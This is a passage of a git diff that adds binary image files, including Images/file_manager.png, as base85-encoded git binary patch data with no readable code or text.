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 literal 0 HcmV?d00001 diff --git a/Images/file_manager.png b/Images/file_manager.png new file mode 100644 index 0000000000000000000000000000000000000000..20fef338c0fe0e3effe74428f0d64efa27fa6781 GIT binary patch literal 186467 zcmeFZXH?Tc*FB1$pi&|N(u>kWq=_`?f`Za4ARxV~^xlbxQly05LlFg$-g^xYT0rSN zK!8Y1LWBSz;UCNM-1oifez{-oy0camD_QwXX3p$6XP+~Bh-8}*RQr@WM^LTR|5SY*Umv>Rg8F7YQ{ ziP*Vs$#9kYk&({;{%WFG{rM%}e*2PBYGVBDOFQ9Lr1`E_s$3K2zspV|%i>ny(O`EF zFm$GX9MLQ&39Km36d4$u&c%S`#z(RH^l^}G?mu+=Y6t;n-ufx< z2MTH*$TR+7VsYA4r~b~BV#~i^q~YHSj@$G8hoG@(lduKOXSu-j z&p+MUzQdET6MpaMNhCe*6BCnd8vYIJ@l_w9rF4)nud@T5K^vm`2Sc_z%WZl=Dv8aW z0RI2{%FhFNKC{-Qk-@?HHZ}!GiCjP)iXWEwyUWybqE~Oe6|1=^ef!UM?~q}Z1Z89l zLm&Q|jp%2Z-?LdPV0X*qZjV`sJRiM6Z96*$fE^^W3n+Zoo#KSks7}g!xC>Gp2`X$FMw&X>Pv9{{FTI zD=5a2tSn!=-3!8u?wa$qpS!Id?9@G3Dmk`w`>z>J#@}6_cH3)0&N-f{FYe6NI8zG+ z;`Y2ZSXe~ceqF`8Ku=Br1iutW*z{QrtoF_{x)&sk$&VN6KuFkmg-2LOB=-}dP3ik54+_?>mx&Cf|y=~4^d-c-6{UpQ?2s;A`anOb*vqiV00gdcP+PIM}OqZE)3P)+y^)iFhk>Z1$1|F95O#?_{Fhm~@!`Hg_o zm41~T<`P=Jt_#dFc`FHnkJTZt#-ry*%ZYw#?JWNr=0WcK#OX64{4n@7%|p!e^f?Ra z`}sYn1cjCN43&=4<@LV3XfsiHpPkAfWaI99!@Sp2kY|L}sIV}pl^8GF43A`F}b~VKlmlyx;)VTvM@E*|pBTfnBoJnknPKi>Cm**qSueh;jjVg2VBOcDOdoE=;od0ChY8&Nz zc@Tx0fBU2wXDra&$r)y}=)WxPI8|CNpt^`VsS?P^>f2B|uI%c~o6K@;pIvXEVR-H2 zm_0<3w=Q&&G?qW;BZrg{oMM{?r6SZV)U{=I>7_YT>+=AEC z*xI3ZW#6uyK|D3ry%NDyzJyg-XUD4suK8#O?vR zI+XVvf5)C~IB^#~hugBVwdLWsBrhol?WE^k6BkEPj*s>7WXqtD)@*64XS$CmKP6sJ zXal5Nm157@B1AoS@IZR`r}dL$mSq0&=`sVTMNlAIaeyZ?8eyac!n(6HIL)}HZ<5pIYJ$}UWVtf^omWBuYUVs&u#!Gkad%1@aE=nb*NC7y?O-~4Cnu;2jVWfp zK#@6+Zw9XOD(e$MN%WT@=+RW!8A;fwciW7EkJrVjR*)2E3nL7zoquCO``mLV;$w(6AS$kUNmU?^+)$y~_qacpMFuncS~ z`TRFxbI3z^cm@g$3;b5T7^1re4c!NNhbm7qg{z!4nE}<=N8=!@b;SQMl|4YdQNUGs3LWLWQ(xYO<5`SkugU@#KkRR-2ur7vbc< zM{e)#(&lQ~HpxWJ%N_s@S<4}1`VH`W>W<$^vz(YbCAV11PIdi3(ZBXw^qDaP)yd-ZbjCJzF6HiD0DNZ?AsN16pBfC=W(j&SQ_OjfbtI|`s_=IC48=E zY?R$JdtA+)e&pqQH0M}Rr;}T_dM$MnN%hV@l82qBQYtr9W%F>JXMJVxam(-0lXG~7Oa8$84ph@d0lc-X!nCaN;l8oOUcxx~AC zwP9#j60rCakv`YV01Ul>e`))e*&bn{s=4T%y%ZnfnA}*!E!{Ys_2Tq(HkY{ANYB#C zkN?b*FXxRW7iTlzFFW2e(ZDbL`Z^uI7Hj)S^y-`YpEs}EfE7v-q6)19|8TV%P^v|$ zzvKM{DhTdi`pec(btJ0BVTd~YlN2N%=4)S%qgNuh=RzjqcjO8F&r8XQ{t!Hx7X*Lh zSvc++bcgdl884=pLEH=YV;=mEjaEMP0*xD_mG5cKGyI48_rHxFp>@-9Dg7IJ;|v#@ zBDO~Hx20xp{TbJo+MDV+6vuWJBLAV?9}+tzsYb{V0q<^u?x2~NnFZUl9{Er(*t%cz$=GiJ`8pZX|sIS4eS(XLHx^UuGXCxb&9K-*qnT5VmNU z>LQ*f^$a-zc69w*Qc|)D^CEF-$rpcCK)uz&!(#_@kNWau@z-N~^WCH2wCvec8n|`? z)W2#(f{nnU<=UqQ(ca7P;CNs6K8R$4<^Zw<7nwMK0R@)d*`Ab1qo#f=?~I7?3qt7P^>0dunc zf2tFdj3^zkEM{xTvfQBksHDGhzoFP0Si+#E@MFob>EsSNJ?1~93y+B}fe@4bmBid= zg9esx%KOY1T7NF6c$e~jEhjy&#zbHL{npkS2hG2B2#CfRk*YK!Pqcy4iKHR$g;sfL ztWH)WAV_iP|qUU{>S6@HH`gjv%PyY!g%I3vutM_VIpFMW@P zFDHregP8*H6>Wzv6>tllBTsNTFz2pgex3f2$UJ_I-UI>VrJ39?aBRj1Bea45OHU=Pu>R7 zi)k_(@VV*>5$u_j2u-F;*Z~w%SX;{&LC1OD(^E3!6u~`@6GqSBzNDFVFZ#k`OG|Gv zGBR485eXw4_l+MQp1O6*-OO%cNrUv|j;fMJG*%3<}oK6q-mO|9L?e(@sGn7`or%O~OAJ~c&7a6fDesE~v% zlep*Ipre(Dktb00T74PEwzdTJ;W1ib)A$$9+}Rg7O3Fd3$B~rbSxb33+)6>R@4E5` zst&T`N0R%)jbuSTUPy-hr@#}mzck7f8#sH8A^vnQ=H(g<7U8DDLM!sL_I*&~k>rkp z_}IITeNGO82ue}G>pDOPV3`k33MA11iuBXEtLKFD!LlQ9PTHhX{bRrvy_FPQ07 zvD`bACGoY@BidOXzJhcbGrb?ifl$)F!+HXu_dm6Uz^K2qh7yfH99=2*ka@r+ z|KVcX!NGy_w1;&lgcbI{4NRx6Qzem+2cMg z24ZG_#3BNdV~rS<2(5upQv=zG=2+=Hd&EeJ9-`30!EIix(QBa1D53;Y<7@#*)k<47 zUx-T46N6CiSRl1!R0z{R0<(Z__A7i=W@eQmE+nYYhxSH-rb)xjbLN#gLyPXSW92ib zZrb3a@_ab=GF>uoQ%3jkS>?9z7LA`%;Lm5bAC-Jp#Bbk370h$BvnKT==U-oVt5+Ws zv&a-E?!BRJVshsyt<5A=3A$U^o9R@?hlB3C+BQd&@5lhjD@{XrT!)!%vdFQ=GIgjl z60f`j>}pKN(DZYKBh6>t0sY1@@+nfg0F}SK9C?0@fFgDpJz7s3X8IVy?1;3>8o>sA znC(qTieuSp2}>94&p(xIz9M%#D~pI0L~IDwTdz5ktB!9q(7$$4C!T)rY0d;qbuweF zFU&s! zq^|SwQiOECDS7<~y;jnQ!8q8a^1;M&KU5p8(h5T9aEWUV*Ku%l@8;RnfFS-USNL&T znz8J)FNOq3(M-dStTx!H028MB`7egE^n2JTTN`#Go&8sP+#!|Qnj#_iUu^niA!I9k zkddqRw1Rd6oZ_PNCu|*Y{;2D1tK*9+UVD;~cWUVOneVA}DiaqQ(4BfAalv@NYN_P4 zPhY+;mB54HaV;y&>xWn*NXdl=x8dKi5dKnKnKm9wg=BCRI*eb41VI#UF z%U~9p0QRtLQmOEiR7UZ9Hiv=It*@^iO;&`gf2MKCJv&7P){5)}9fl4i@*hg^D-tj@ zCWZP229xy_jjr$@EKC>X;<>mmN~%xjWS*7puZw22j=TGtFCDjS?_NUrG_PWFUa`4y zE$r^Ex{ush1-RM6GVR8X8h$8-_$zSBd3+Xu?_pqfiJY;>axo>b`Fdx_ylcam$KCeQ zg&@9F7`uNOQ?ByruVI96MeEq>thRM}ATh8Zt98iT-QOYG{o%ZqDdlwT8#cplHl0~| zuEuWoqc9U(}~{0dGI6s8XM#n_=lEKvK$ zc{3&<#Z$YA<&C>LtDx7`a(X!mv#HNdt4Neq4YI#Jv$y;7=&^o6}vjS zIzXj)hf^l5-pz-Pq{@q0aWxp+*MU9bKu@u4UnNje>m^>dJtkn(>B{jQx6=3~dB z6AO4aFyLp0+s35__PpRrNh=hY&U!Y36zhkp5Fa?1Xxkhs>ZPw(YBFx)93}U=(jIUP zxGSV5!u(W9No?>)Mer(}%~TXt!tpRDTNclU^-pYjgoIRzX6zr&t)-#I)+)StQHt|Z z@SuT3D&J*(Cx}{FU-&rnLoWFT&m*$3qO6Yy=O(14moctq*Tl{`WYFm8GX~|hGdSjm z;p{_-vfpCHy(ljbgloGO<2x~uP~fT_3Q#_>rzDPosU<$0O0OY74-j$qE3aiEHMJN{ z^f;t3{Wa?(^UzX+eyH;xd*R+y}Ma->#zCJ@*^N^y42W4?9>?hQARqb zztL_ewWmunB$r6m2qB2Jc~KXBxt)E48Y)18;Tro6Ibp96AH_Wv+*<33uZqNqymF3P z9(&%mGWHx=Fljnef45<|;Nz|2*xQ}M3|jG09_5n0D9BX{QSlRzre#VOW-hODJWh(u8Wrv z{mkn7U`wg`vDSO#Tj=r#DS_5jr1Esvo!u>#kJAPrMqH+%Lqbfx@J9T5Y-MX(`UnBB zkul9ZT!C*}_t^`HQVwqdu(7kx7e!*AYn?@MbGcMjmk~BIgX~>qg15aHq)GarfN{>}niW*8xu 